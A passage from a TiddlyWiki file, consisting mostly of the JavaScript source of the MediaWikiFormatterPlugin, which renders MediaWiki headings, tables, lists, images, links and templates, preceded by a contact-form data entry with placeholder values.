		story.displayTiddlers(null,tagged,null,false,null);
	}
};
//}}}
<<tiddler ContactsFormTemplate>><data>{"first.name":"My","last.name":"Name","email":"me@me.com","webpage":"http://thinkcreatesolve.biz","city":"Toronto","state":"ON","country":"Canada","company":"Me Inc.","job.title":"Owner, Chief Hacker","business.mobile":"(555)555-1212","business.city":"Toronto","business.state":"ON","business.country":"Canada","business.webpage":"http://www.hackthe.net"}</data>
/***
|''Name:''|MediaWikiFormatterPlugin|
|''Description:''|Allows Tiddlers to use [[MediaWiki|http://meta.wikimedia.org/wiki/Help:Wikitext]] ([[WikiPedia|http://meta.wikipedia.org/]]) text formatting|
|''Author:''|Martin Budden (mjbudden (at) gmail (dot) com)|
|''Source:''|http://www.martinswiki.com/#MediaWikiFormatterPlugin |
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/MartinBudden/formatters/MediaWikiFormatterPlugin.js |
|''Version:''|0.4.6|
|''Date:''|Jul 27, 2007|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev |
|''License:''|[[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/3.0/]] |
|''~CoreVersion:''|2.1.0|

|''Display instrumentation''|<<option chkDisplayInstrumentation>>|
|''Display empty template links:''|<<option chkMediaWikiDisplayEmptyTemplateLinks>>|
|''Allow zooming of thumbnail images''|<<option chkMediaWikiDisplayEnableThumbZoom>>|
|''List references''|<<option chkMediaWikiListReferences>>|
|''Display unsupported magic words''|<<option chkDisplayMediaWikiMagicWords>>|

This is the MediaWikiFormatterPlugin, which allows you to insert MediaWiki formated text into a TiddlyWiki.

The aim is not to fully emulate MediaWiki, but to allow you to work with MediaWiki content off-line and then resync the content with your MediaWiki later on, with the expectation that only minor edits will be required.

To use MediaWiki format in a Tiddler, tag the Tiddler with MediaWikiFormat or set the tiddler's {{{wikiformat}}} extended field to {{{mediawiki}}}.

!!!Issues
There are (at least) the following known issues:
# Not all styles from http://meta.wikimedia.org/wiki/MediaWiki:Common.css incorporated
## Styles for tables don't yet match Wikipedia styles.
## Styles for image galleries don't yet match Wikipedia styles.
# Anchors not yet supported.

!!!Not supported
# Template parser functions (also called colon functions) http://meta.wikimedia.org/wiki/ParserFunctions eg &#123;&#123; #functionname: argument 1 | argument 2 | argument 3... &#125;&#125;
# Magic words and variables http://meta.wikimedia.org/wiki/Help:Magic_words eg {{{__TOC__}}}, &#123;&#123;CURRENTDAY&#125;&#125;, &#123;&#123;PAGENAME&#125;&#125;
# {{{^''}}} (italic at start of line) indents, makes italic and quotes with guilmot quote

!!!No plans to support
# Template substitution on save http://meta.wikimedia.org/wiki/Help:Substitution eg &#123;&#123; subst: templatename &#125;&#125;

***/

//{{{
// Ensure that the MediaWikiFormatter Plugin is only installed once.
if(!version.extensions.MediaWikiFormatterPlugin) {
version.extensions.MediaWikiFormatterPlugin = {installed:true};

if(version.major < 2 || (version.major == 2 && version.minor < 1))
	{alertAndThrow('MediaWikiFormatterPlugin requires TiddlyWiki 2.1 or later.');}

if(config.options.chkDisplayInstrumentation == undefined)
	{config.options.chkDisplayInstrumentation = false;}

if(config.options.chkMediaWikiDisplayEmptyTemplateLinks == undefined)
	{config.options.chkMediaWikiDisplayEmptyTemplateLinks = false;}
if(config.options.chkMediaWikiDisplayEnableThumbZoom == undefined)
	{config.options.chkMediaWikiDisplayEnableThumbZoom = false;}
if(config.options.chkMediaWikiListReferences == undefined)
	{config.options.chkMediaWikiListReferences = false;}
if(config.options.chkDisplayMediaWikiMagicWords == undefined)
	{config.options.chkDisplayMediaWikiMagicWords = false;}


//<div class='viewer' macro='view text wikified'></div>;

config.macros.include = {};
config.macros.include.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	if((tiddler instanceof Tiddler) && params[0]) {
		var host = store.getValue(tiddler,'server.host');
		if(host && host.indexOf('wikipedia')!=-1) {
			var t = store.fetchTiddler(params[0]);
			var text = store.getValue(t,'text');
			wikify(text,place,highlightHack,tiddler);
		}
	}
};


MediaWikiFormatter = {}; // 'namespace' for local functions

mwDebug = function(out,str)
{
	createTiddlyText(out,str.replace(/\n/mg,'\\n').replace(/\r/mg,'RR'));
	createTiddlyElement2(out,'br');
};

MediaWikiFormatter.Tiddler_changed = Tiddler.prototype.changed;
Tiddler.prototype.changed = function()
{
	if((this.fields.wikiformat==config.parsers.mediawikiFormatter.format) || this.isTagged(config.parsers.mediawikiFormatter.formatTag)) {
		this.links = [];
		var tiddlerLinkRegExp = /\[\[(?::?([A-Za-z]{2,}:)?)(#?)([^\|\]]*?)(?:(\]\])|(\|(.*?)\]\]))/mg;
		tiddlerLinkRegExp.lastIndex = 0;
		var match = tiddlerLinkRegExp.exec(this.text);
		while(match) {
			if(!match[1] && !match[2])
				this.links.pushUnique(match[3]);
			match = tiddlerLinkRegExp.exec(this.text);
		}
	} else if(!this.isTagged('systemConfig')) {
		MediaWikiFormatter.Tiddler_changed.apply(this,arguments);
		return;
	}
	this.linksUpdated = true;
};

TiddlyWiki.prototype.getMediaWikiPagesInNamespace = function(namespace)
{
	var results = [];
	this.forEachTiddler(function(title,tiddler) {
		if(tiddler.title.indexOf(namespace)==0)
			results.push(tiddler);
		});
	results.sort(function(a,b) {return a.title < b.title ? -1 : +1;});
	return results;
};

TiddlyWiki.prototype.getMediaWikiPages = function()
{
	var results = [];
	this.forEachTiddler(function(title,tiddler) {
		if(!tiddler.isTagged('excludeLists') && tiddler.title.indexOf(':')==-1)
			results.push(tiddler);
		});
	results.sort(function(a,b) {return a.title < b.title ? -1 : +1;});
	return results;
};

TiddlyWiki.prototype.getMediaWikiOtherPages = function()
{
	var results = [];
	this.forEachTiddler(function(title,tiddler) {
		if(!tiddler.isTagged('excludeLists') && tiddler.title.indexOf(':')!=-1)
			results.push(tiddler);
		});
	results.sort(function(a,b) {return a.title < b.title ? -1 : +1;});
	return results;
};

config.macros.list.otherpages = {};
config.macros.list.otherpages.handler = function(params)
{
	return store.getMediaWikiOtherPages();
};

config.macros.list.templates = {};
config.macros.list.templates.handler = function(params)
{
	return store.getMediaWikiPagesInNamespace('Template:');
};

config.macros.list.categories = {};
config.macros.list.categories.handler = function(params)
{
	return store.getMediaWikiPagesInNamespace('Category:');
};

function createTiddlyElement2(parent,element)
{
	return parent.appendChild(document.createElement(element));
}

config.formatterHelpers.createElementAndWikify = function(w)
{
	w.subWikifyTerm(createTiddlyElement2(w.output,this.element),this.termRegExp);
};

MediaWikiFormatter.hijackListAll = function ()
{
	MediaWikiFormatter.oldListAll = config.macros.list.all.handler;
	config.macros.list.all.handler = function(params) {
		return store.getMediaWikiPages();
	};
};
MediaWikiFormatter.hijackListAll();

MediaWikiFormatter.normalizedTitle = function(title)
{
	title = title.trim();
	var n = title.charAt(0).toUpperCase() + title.substr(1);
	return n.replace(/\s/g,'_');
};

MediaWikiFormatter.expandVariable = function(w,variable)
{
	switch(variable) {
	case 'PAGENAME':
		createTiddlyText(w.output,w.tiddler.title);
		break;
	case 'PAGENAMEE':
		createTiddlyText(w.output,MediaWikiFormatter.normalizedTitle(w.tiddler.title));
		break;
	case 'REVISIONID':
		var text = w.tiddler.fields['server.revision'];
		if(text)
			createTiddlyText(w.output,text);
		break;
	default:
		return false;
	}
	return true;
};

MediaWikiFormatter.getParserFunctionParams = function(text)
{
	var params = [];
	
//	#if: foo | do if true | do if false

	text += '|';
	//var fRegExp = / ? # ?([a-z]*) ?:/mg;
	//var fRegExp = /#(if) : (foo) :/mg;
	var fRegExp = /(#([a-z]*) *: ([^\|]*))\|/mg;
	fRegExp.lastIndex = 0;
	var match = fRegExp.exec(text);
	var pRegExp = /([^\|]*)\|/mg;
	if(match) {
		pRegExp.lastIndex = fRegExp.lastIndex;
		match = pRegExp.exec(text);
	}
	var i = 1;
	while(match) {
		params[i] = match[1].trim();
		i++;
		match = pRegExp.exec(text);
	}
	return params;
};

MediaWikiFormatter.getTemplateParams = function(text)
{
	var params = {};

	text += '|';
	var pRegExp = /(?:([^\|]*)=)?([^\|]*)\|/mg;
	var match = pRegExp.exec(text);
	if(match) {
		match = pRegExp.exec(text);
	}
	var i = 1;
	while(match) {
		if(match[1]) {
			params[match[1]] = match[2];
		} else {
			params[i] = match[2];
			i++;
		}
		match = pRegExp.exec(text);
	}
	return params;
};








MediaWikiFormatter.expandParserFunction = function(w,text,expr,params)
{
	var fnRegExp = / *#(if) */mg;
	var t = '';//params[0];
	fnRegExp.lastIndex = 0;
	var match = fnRegExp.exec(text);
	if(match) {
		switch(match[1]) {
		case 'if':
			t = expr.trim()=='' ? params[2] : params[1];
			break;
		default:
			break;
		}
	}
	return t;
};

MediaWikiFormatter.expandTemplate = function(w,templateText,params)
{
	var text = templateText;
	text = text.replace(/<noinclude>((?:.|\n)*?)<\/noinclude>/mg,'');// remove text between noinclude tags
	var includeOnlyRegExp = /<includeonly>((?:.|\n)*?)<\/includeonly>/mg;
	var t = '';
	var match = includeOnlyRegExp.exec(text);
	while(match) {
		t += match[1];
		match = includeOnlyRegExp.exec(text);
	}
	text = t == '' ? text : t;

	var paramsRegExp = /\{\{\{(.*?)(?:\|(.*?))?\}\}\}/mg;
	t = '';
	var pi = 0;
	match = paramsRegExp.exec(text);
	while(match) {
		var name = match[1];
		var val = params[name];
		if(!val) {
			val = match[2];
		}
		if(!val) {
			val = '';//val = match[0];
		}
		t += text.substring(pi,match.index) + val;
		pi = paramsRegExp.lastIndex;
		match = paramsRegExp.exec(text);
	}
	t += text.substring(pi);
	return t;
	//return t == '' ? text : t;
/*	//displayMessage("ss:"+text.substring(pi));
	t += text.substring(pi);
	t = MediaWikiFormatter.evaluateTemplateParserFunctions(t);
	//{{#if: {{{perihelion|}}} | <tr><th>[[Perihelion|Perihelion distance]]:</th><td>{{{perihelion}}}</td></tr>}}
	//{{#if:{{{symbol|}}} | {{{symbol}}} | }}
	text = t == '' ? text : t;
	displayMessage("t2:"+text);
	return text;
*/
};

MediaWikiFormatter.endOfParams = function(w,text)
{
	var p = 0;
	var i = text.indexOf('|');
	if(i==-1) {return -1;}
	var n = text.indexOf('\n');
	if(n!=-1 && n<i) {return -1;}
	var b = text.indexOf('[[');
	if(b!=-1 && b<i) {return -1;}
	
	b = text.indexOf('{{');
	while(b!=-1 && b<i) {
		p += b;
		text = text.substr(b);
		var c = text.indexOf('}}');
		p += c;
		text = text.substr(c);
		i = text.indexOf('|');
		if(i==-1) {return -1;}
		n = text.indexOf('\n');
		if(n!=-1 && n<i) {return -1;}
		b = text.indexOf('{{');
		i = -1;
	}
	return i;
};

MediaWikiFormatter.readToDelim = function(w)
//!!! this is a bit rubish, needs doing properly.
{
	var dRegExp = /\|/mg;
	var sRegExp = /\[\[/mg;
	var tRegExp = /\]\]/mg;

	dRegExp.lastIndex = w.startMatch;
	var dMatch = dRegExp.exec(w.source);
	sRegExp.lastIndex = w.startMatch;
	var sMatch = sRegExp.exec(w.source);
	tRegExp.lastIndex = w.startMatch;
	var tMatch = tRegExp.exec(w.source);
	if(!tMatch) {
		return false;
	}

	while(sMatch && sMatch.index<tMatch.index) {
		if(dMatch && dMatch.index<sMatch.index) {
			w.nextMatch = dRegExp.lastIndex;
			w.matchLength = dMatch.index - w.startMatch;
			return true;
		}
		tRegExp.lastIndex = sRegExp.lastIndex;
		tMatch = tRegExp.exec(w.source);
		
		w.nextMatch = tRegExp.lastIndex;
		dRegExp.lastIndex = w.nextMatch;
		dMatch = dRegExp.exec(w.source);
		sRegExp.lastIndex = w.nextMatch;
		sMatch = sRegExp.exec(w.source);
		tRegExp.lastIndex = w.nextMatch;
		tMatch = tRegExp.exec(w.source);
	}
		
	if(dMatch && dMatch.index<tMatch.index) {
		w.nextMatch = dRegExp.lastIndex;
		w.matchLength = dMatch.index - w.startMatch;
		return true;
	}
	if(tMatch) {
		w.nextMatch = tRegExp.lastIndex;
		w.matchLength = tMatch.index - w.startMatch;
		return false;
	}
	w.nextMatch = tRegExp.lastIndex;
	w.matchLength = -1;
	return false;
};

MediaWikiFormatter.getParams = function(w)
{
	var params = [];
	var i = 1;
	w.startMatch = w.nextMatch;
	var read = MediaWikiFormatter.readToDelim(w);
	if(w.matchLength!=-1) {
		params[i] = w.source.substr(w.startMatch,w.matchLength);
	}
	while(read) {
		i++;
		w.startMatch = w.nextMatch;
		read = MediaWikiFormatter.readToDelim(w);
		if(w.matchLength!=-1) {
			params[i] = w.source.substr(w.startMatch,w.matchLength);
		}
	}
	return params;
};

MediaWikiFormatter.setFromParams = function(w,p)
{
	var r = {};
	var re = /\s*(.*?)=(?:(?:"(.*?)")|(?:'(.*?)')|((?:\w|%|#)*))/mg;
	var match = re.exec(p);
	while(match)
		{
		var s = match[1].unDash();
		if(match[2]) {
			r[s] = match[2];
		} else if(match[3]) {
			r[s] = match[3];
		} else {
			r[s] = match[4];
		}
		match = re.exec(p);
	}
	return r;
};

MediaWikiFormatter.setAttributesFromParams = function(e,p)
{
	var re = /\s*(.*?)=(?:(?:"(.*?)")|(?:'(.*?)')|((?:\w|%|#)*))/mg;
	var match = re.exec(p);
	while(match) {
		var s = match[1].unDash();
		if(s == 'bgcolor') {
			s = 'backgroundColor';
		}
		try {
			if(match[2]) {
				e.setAttribute(s,match[2]);
			} else if(match[3]) {
				e.setAttribute(s,match[3]);
			} else {
				e.setAttribute(s,match[4]);
			}
		}
		catch(ex) {}
		match = re.exec(p);
	}
};

config.mediawiki = {};
config.mediawiki.formatters = [
{
	name: 'mediaWikiHeading',
	match: '^={1,6}(?!=)\\n?',
	termRegExp: /(={1,6}\n?)/mg,
	handler: function(w)
	{
		var output = w.output;
		var e = createTiddlyElement2(output,'h' + w.matchLength);
		var a = createTiddlyElement2(e,'a');
		var t = w.tiddler ? MediaWikiFormatter.normalizedTitle(w.tiddler.title) + ':' : '';
		var len = w.source.substr(w.nextMatch).indexOf('=');
		a.setAttribute('name',t+MediaWikiFormatter.normalizedTitle(w.source.substr(w.nextMatch,len)));
		w.subWikifyTerm(e,this.termRegExp);
	}
},

{
	name: 'mediaWikiTable',
	// see http://www.mediawiki.org/wiki/Help:Tables, http://meta.wikimedia.org/wiki/Help:Table
	match: '^\\{\\|', // ^{|
	tableTerm: '\\n\\|\\}', // |}
	rowStart: '\\n\\|\\-', // \n|-
	cellStart: '\\n!|!!|\\|\\||\\n\\|', //\n! or !! or || or \n|
	caption: '\\n\\|\\+',
	rowTerm: null,
	cellTerm: null,
	inCellTerm: null,
	tt: 0,
	debug: null,
	rowTermRegExp: null,
	handler: function(w)
	{
		if(!this.rowTermRegExp) {
			this.rowTerm = '(' + this.tableTerm +')|(' + this.rowStart + ')';
			this.cellTerm = this.rowTerm + '|(' + this.cellStart + ')';
			this.inCellTerm = '(' + this.match + ')|' + this.rowTerm + '|(' + this.cellStart + ')';
			this.caption = '(' + this.caption + ')|' + this.cellTerm;

			this.rowTermRegExp = new RegExp(this.rowTerm,'mg');
			this.cellTermRegExp = new RegExp(this.cellTerm,'mg');
			this.inCellTermRegExp = new RegExp(this.inCellTerm,'mg');
			this.captionRegExp = new RegExp(this.caption,'mg');
		}
		this.captionRegExp.lastIndex = w.nextMatch;
		var match = this.captionRegExp.exec(w.source);
		if(!match) {return;}
		var output = w.output;
		var table = createTiddlyElement2(output,'table');
		var rowContainer = table;

		var i = w.source.indexOf('\n',w.nextMatch);
		if(i>w.nextMatch) {
			MediaWikiFormatter.setAttributesFromParams(table,w.source.substring(w.nextMatch,i));
			w.nextMatch = i;
		}

		var rowCount = 0;
		var eot = false;
		if(match[1]) {
			var caption = createTiddlyElement2(table,'caption');
			w.nextMatch = this.captionRegExp.lastIndex;
			var captionText = w.source.substring(w.nextMatch);
			var n = captionText.indexOf('\n');
			captionText = captionText.substr(0,n);
			i = MediaWikiFormatter.endOfParams(w,captionText);
			if(i!=-1) {
				captionText = w.source.substr(w.nextMatch,i);
				w.nextMatch += i+1;
			}
			if(caption != table.firstChild) {
				table.insertBefore(caption,table.firstChild);
			}
			w.subWikify(caption,this.cellTerm);
			w.nextMatch -= w.matchLength;
			this.cellTermRegExp.lastIndex = w.nextMatch;
			var match2 = this.cellTermRegExp.exec(w.source);
			if(match2) {
				if(match2[3]) {
					eot = this.rowHandler(w,createTiddlyElement2(rowContainer,'tr'));
					rowCount++;
				}
			}
		} else if(match[3]) {
			w.nextMatch = this.captionRegExp.lastIndex-match[3].length;
		} else if(match[4]) {
			w.nextMatch = this.captionRegExp.lastIndex-match[4].length;
			eot = this.rowHandler(w,createTiddlyElement2(rowContainer,'tr'));
			rowCount++;
		}

		this.rowTermRegExp.lastIndex = w.nextMatch;
		match = this.rowTermRegExp.exec(w.source);
		while(match && eot==false) {
			if(match[1]) {
				w.nextMatch = this.rowTermRegExp.lastIndex;
				if(w.tableDepth==0) {
					return;
				}
			} else if(match[2]) {
				var rowElement = createTiddlyElement2(rowContainer,'tr');
				w.nextMatch += match[2].length;
				i = w.source.indexOf('\n',w.nextMatch);
				if(i>w.nextMatch) {
					MediaWikiFormatter.setAttributesFromParams(rowElement,w.source.substring(w.nextMatch,i));
					w.nextMatch = i;
				}
				eot = this.rowHandler(w,rowElement);
			}
			rowCount++;
			this.rowTermRegExp.lastIndex = w.nextMatch;
			match = this.rowTermRegExp.exec(w.source);
		}//# end while
		if(w.tableDepth==0) {
			w.nextMatch +=3;
		}
	},//# end handler

	rowHandler: function(w,e)
	{
		var cell;
		this.inCellTermRegExp.lastIndex = w.nextMatch;
		var match = this.inCellTermRegExp.exec(w.source);
		while(match) {
			if(match[1]) {
				w.tableDepth++;
				w.subWikify(cell,this.tableTerm);
				w.nextMatch = this.tt;
				w.tableDepth--;
				return false;
			} else if(match[2]) {
				this.tt = this.inCellTermRegExp.lastIndex;
				return true;
			} else if(match[3]) {
				return false;
			} else if(match[4]) {
				var len = match[4].length;
				cell = createTiddlyElement2(e,match[4].substr(len-1)=='!'?'th':'td');
				w.nextMatch += len;

				this.inCellTermRegExp.lastIndex = w.nextMatch;
				var lookahead = this.inCellTermRegExp.exec(w.source);
				if(!lookahead) {
					return false;
				}
				var cellText = w.source.substr(w.nextMatch,lookahead.index-w.nextMatch);
				var oldSource = w.source;
				var i = MediaWikiFormatter.endOfParams(w,cellText);//cellText.indexOf('|');
				if(i!=-1) {
					cellText = cellText.replace(/^\+/mg,'');  //!!hack until I fix this properly
					MediaWikiFormatter.setAttributesFromParams(cell,cellText.substr(0,i-1));
					cellText = cellText.substring(i+1);
				}
				cellText = cellText.replace(/^\s*/mg,'');
				w.source = cellText;
				w.nextMatch = 0;
				w.subWikifyUnterm(cell);
				w.source = oldSource;
				w.nextMatch = lookahead.index;
			}
			this.inCellTermRegExp.lastIndex = w.nextMatch;
			match = this.inCellTermRegExp.exec(w.source);
		}//# end while
		return false;
	}//# end rowHandler
},

{
	name: 'mediaWikiList',
	match: '^[\\*#;:]+',
	lookaheadRegExp: /(?:(?:(\*)|(#)|(;)|(:))+)(?: ?)/mg,
	termRegExp: /(\n)/mg,
	handler: function(w)
	{
		var stack = [w.output];
		var currLevel = 0, currType = null;
		var listType, itemType;
		w.nextMatch = w.matchStart;
		this.lookaheadRegExp.lastIndex = w.nextMatch;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		while(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
			if(lookaheadMatch[1]) {
				listType = 'ul';
				itemType = 'li';
			} else if(lookaheadMatch[2]) {
				listType = 'ol';
				itemType = 'li';
			} else if(lookaheadMatch[3]) {
				listType = 'dl';
				itemType = 'dt';
			} else if(lookaheadMatch[4]) {
				listType = 'dl';
				itemType = 'dd';
			}
			var listLevel = lookaheadMatch[0].length;
			w.nextMatch += listLevel;
			if(listLevel > currLevel) {
				for(var i=currLevel; i<listLevel; i++) {
					stack.push(createTiddlyElement2(stack[stack.length-1],listType));
				}
			} else if(listLevel < currLevel) {
				for(i=currLevel; i>listLevel; i--) {
					stack.pop();
				}
			} else if(listLevel == currLevel && listType != currType) {
				stack.pop();
				stack.push(createTiddlyElement2(stack[stack.length-1],listType));
			}
			currLevel = listLevel;
			currType = listType;
			var e = createTiddlyElement2(stack[stack.length-1],itemType);
			var ci = w.source.indexOf(':',w.nextMatch);
			var ni = w.source.indexOf('\n',w.nextMatch);
			if(itemType=='dt' && (ni==-1 || (ci!=-1 && ci<ni))) {
				w.subWikifyTerm(e,/(:)/mg);
				w.nextMatch--;
			} else {
				w.subWikifyTerm(e,this.termRegExp);
			}
			this.lookaheadRegExp.lastIndex = w.nextMatch;
			lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		}
	}
},

{
	name: 'mediaWikiRule',
	match: '^----+$\\n?',
	handler: function(w)
	{
		createTiddlyElement2(w.output,'hr');
	}
},

{
	name: 'mediaWikiLeadingSpaces',
	match: '^ ',
	lookaheadRegExp: /^ /mg,
	termRegExp: /(\n)/mg,
	handler: function(w)
	{
		var e = createTiddlyElement2(w.output,'pre');
		while(true) {
			w.subWikifyTerm(e,this.termRegExp);
			createTiddlyElement2(e,'br');
			this.lookaheadRegExp.lastIndex = w.nextMatch;
			var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
			if(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
				w.nextMatch += lookaheadMatch[0].length;
			} else {
				break;
			}
		}
	}
},


{
	name: 'mediaWikiImage',
	match: '\\[\\[(?:[Ii]mage|Bild):',
	lookaheadRegExp: /\[\[(?:[Ii]mage|Bild):/mg,
	defaultPx: 180,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var params = MediaWikiFormatter.getParams(w);
			var src = params[1];
			src = src.trim().replace(/ /mg,'_');
			src = src.substr(0,1).toUpperCase() + src.substring(1);
			var palign = null;
			var ptitle = null;
			var psrc = false;
			var px = null;
			var pthumb = false;
			var pframed = false;
			for(var i=2;i<params.length;i++) {
				var p = params[i];
				if(p=='right'||p=='left'||p=='center'||p=='none') {
					palign = p;
				} else if(p=='thumbnail'||p=='thumb') {
					pthumb = true;
				} else if(p=='framed') {
					pframed = true;
				} else if(/\d{1,4} ?px/.exec(p)) {
					px = p.substr(0,p.length-2).trim();
				} else {
					ptitle = p;
				}
			}//#end for
			if(pthumb) {
				var output = w.output;
				if(!palign) {
					palign = 'right';
				}
				if(!px) {
					px = 180;
				}
				psrc = px + 'px-' + src;
				var t = createTiddlyElement(output,'div',null,'thumb'+(palign?' t'+palign:''));
				var s = createTiddlyElement2(t,'div');
				s.style['width'] = Number(px) + 2 + 'px';
				var a = createTiddlyElement(s,'a',null,'internal');
				if(config.options.chkMediaWikiDisplayEnableThumbZoom) {
					a.href = src;
				}
				a.title = ptitle;
				var img = createTiddlyElement2(a,'img');
				img.src = 'images/' + psrc;
				img.width = px;
				img.longdesc = 'Image:' + src;
				img.alt = ptitle;

				var tc = createTiddlyElement(s,'div',null,'thumbcaption');
				var oldSource = w.source; var oldMatch = w.nextMatch;
				w.source = ptitle; w.nextMatch = 0;
				w.subWikifyUnterm(tc);
				w.source = oldSource; w.nextMatch = oldMatch;

				if(config.options.chkMediaWikiDisplayEnableThumbZoom) {
					var tm = createTiddlyElement(tc,'div',null,'magnify');
					tm.style['float'] = 'right';
					var ta = createTiddlyElement(tm,'a',null,'internal');
					ta.title = 'Enlarge';
					timg = createTiddlyElement2(ta,'img'); timg.src = 'magnify-clip.png'; timg.alt = 'Enlarge'; timg.width = '15'; timg.height = '11';
					ta.href = src;
				}
			} else {
				a = createTiddlyElement(w.output,'a',null,'image');
				a.title = ptitle;
				img = createTiddlyElement2(a,'img');
				if(palign) {img.align = palign;}
				img.src = px ? 'images/' + px + 'px-' + src : 'images/' + src;
				if(px) {img.width = px;}
				img.longdesc = 'Image:' + src;
				img.alt = ptitle;
			}
		}
	}//#end image handler
},

{
	name: 'mediaWikiExplicitLink',
	match: '\\[\\[',
	lookaheadRegExp: /\[\[(?:([a-z]{2,3}:)?)(#?)([^\|\]]*?)(?:(\]\](\w*))|(\|(.*?)\]\]))/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			if(!lookaheadMatch[1]) {
				var e;
				var link = lookaheadMatch[3];
				var text = link;
				link = link.substr(0,1).toUpperCase() + link.substring(1);
				if(lookaheadMatch[4]) {
					if(lookaheadMatch[2]) {
						var a = createTiddlyElement(w.output,'a');
						var t = w.tiddler ? MediaWikiFormatter.normalizedTitle(w.tiddler.title) + ':' : '';
						t = '#' + t + MediaWikiFormatter.normalizedTitle(link);
						a.setAttribute('href',t);
						a.title = '#' + MediaWikiFormatter.normalizedTitle(link);
						createTiddlyText(a,'#'+link);
					} else {
						e = createTiddlyLink(w.output,link,false,null,w.isStatic,w.tiddler);
						if(lookaheadMatch[5]) {
							text += lookaheadMatch[5];
						}
						createTiddlyText(e,text);
					}
				} else if(lookaheadMatch[6]) {
					if(link.charAt(0)==':')
						link = link.substring(1);
						e = createTiddlyLink(w.output,link,false,null,w.isStatic,w.tiddler);
					var oldSource = w.source; var oldMatch = w.nextMatch;
					w.source = lookaheadMatch[7].trim(); w.nextMatch = 0;
					w.subWikifyUnterm(e);
					w.source = oldSource; w.nextMatch = oldMatch;
				}
			}
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'mediaWikiTemplate',
	match: '\\{\\{[^\\{]',
	lookaheadRegExp: /\{\{((?:.|\n)*?)\}\}/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var lastIndex = this.lookaheadRegExp.lastIndex;
			var contents = lookaheadMatch[1];
			if(MediaWikiFormatter.expandVariable(w,contents)) {
				w.nextMatch = lastIndex;
				return;
			}
			var i = contents.indexOf('|');
			var title = i==-1 ? contents : contents.substr(0,i);
			title = title.trim().replace(/_/mg,' ');
			if(title.substr(0,1)=='#') {
				var parserFn = true;
				var j = contents.indexOf(':');
				var expr = contents.substring(j+1,i);
				i = title.indexOf(':');
				title = title.substr(0,i);
			} else {
				title = 'Template:' + title.substr(0,1).toUpperCase() + title.substring(1);
				var tiddler = store.fetchTiddler(title);
			}
			var oldSource = w.source;
			if(tiddler) {
				var params = {};
				if(i!=-1) {
					params = MediaWikiFormatter.getTemplateParams(lookaheadMatch[1]);
				}
				w.source = MediaWikiFormatter.expandTemplate(w,tiddler.text,params);
				w.nextMatch = 0;
				w.subWikifyUnterm(w.output);
			} else if(parserFn) {
				if(i!=-1) {
					params = MediaWikiFormatter.getParserFunctionParams(lookaheadMatch[1]);
				}
				w.source = MediaWikiFormatter.expandParserFunction(w,title,expr,params);
				w.nextMatch = 0;
				w.subWikifyUnterm(w.output);			
			} else {
				if(config.options.chkMediaWikiDisplayEmptyTemplateLinks) {
					w.source = '[['+title+']]';
					w.nextMatch = 0;
					w.subWikifyUnterm(w.output);
				}
			}
			w.source = oldSource;
			w.nextMatch = lastIndex;
		}
	}
},

{
	name: 'mediaWikiParagraph',
	match: '\\n{2,}',
	handler: function(w)
	{
		w.output = createTiddlyElement2(w.output,'p');
	}
},

{
	name: 'mediaWikiExplicitLineBreak',
	match: '<br ?/?>',
	handler: function(w)
	{
		createTiddlyElement2(w.output,'br');
	}
},

{
	name: 'mediaWikiExplicitLineBreakWithParams',
	match: "<br(?:\\s*(?:(?:.*?)=[\"']?(?:.*?)[\"']?))*?\\s*/?>",
	lookaheadRegExp: /<br((?:\s+(?:.*?)=["']?(?:.*?)["']?)*?)?\s*\/?>/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var e =createTiddlyElement2(w.output,'br');
			if(lookaheadMatch[1]) {
				MediaWikiFormatter.setAttributesFromParams(e,lookaheadMatch[1]);
			}
			w.nextMatch = this.lookaheadRegExp.lastIndex;// empty tag
		}
	}
},

{
	name: 'mediaWikiTitledUrlLink',
	match: '\\[' + config.textPrimitives.urlPattern + '(?:\\s+[^\\]]+)?' + '\\]',
	handler: function(w)
	{
		var lookaheadRegExp = new RegExp('\\[(' + config.textPrimitives.urlPattern + ')(?:\\s+([^\[]+))?' + '\\]','mg');
		lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index==w.matchStart) {
			var link = lookaheadMatch[1];
			if(lookaheadMatch[2]) {
				var e = createExternalLink(w.output,link);
				var oldSource = w.source; var oldMatch = w.nextMatch;
				w.source = lookaheadMatch[2].trim(); w.nextMatch = 0;
				w.subWikifyUnterm(e);
				w.source = oldSource; w.nextMatch = oldMatch;
			} else {
				e = createExternalLink(createTiddlyElement2(w.output,'sup'),link);
				w.linkCount++;
				createTiddlyText(e,'['+w.linkCount+']');
			}
			w.nextMatch = lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'mediaWikiUrlLink',
	match: config.textPrimitives.urlPattern,
	handler: function(w)
	{
		w.outputText(createExternalLink(w.output,w.matchText),w.matchStart,w.nextMatch);
	}
},

{
	name: "mediaWikiCharacterFormat",
	match: "'{2,5}|(?:<[usbi]>)",
	handler: function(w)
	{
		switch(w.matchText) {
		case "'''''":
			var e = createTiddlyElement(w.output,'strong');
			w.subWikifyTerm(createTiddlyElement(e,'em'),/('''''|(?=\n))/mg);
			break;
		case "'''":
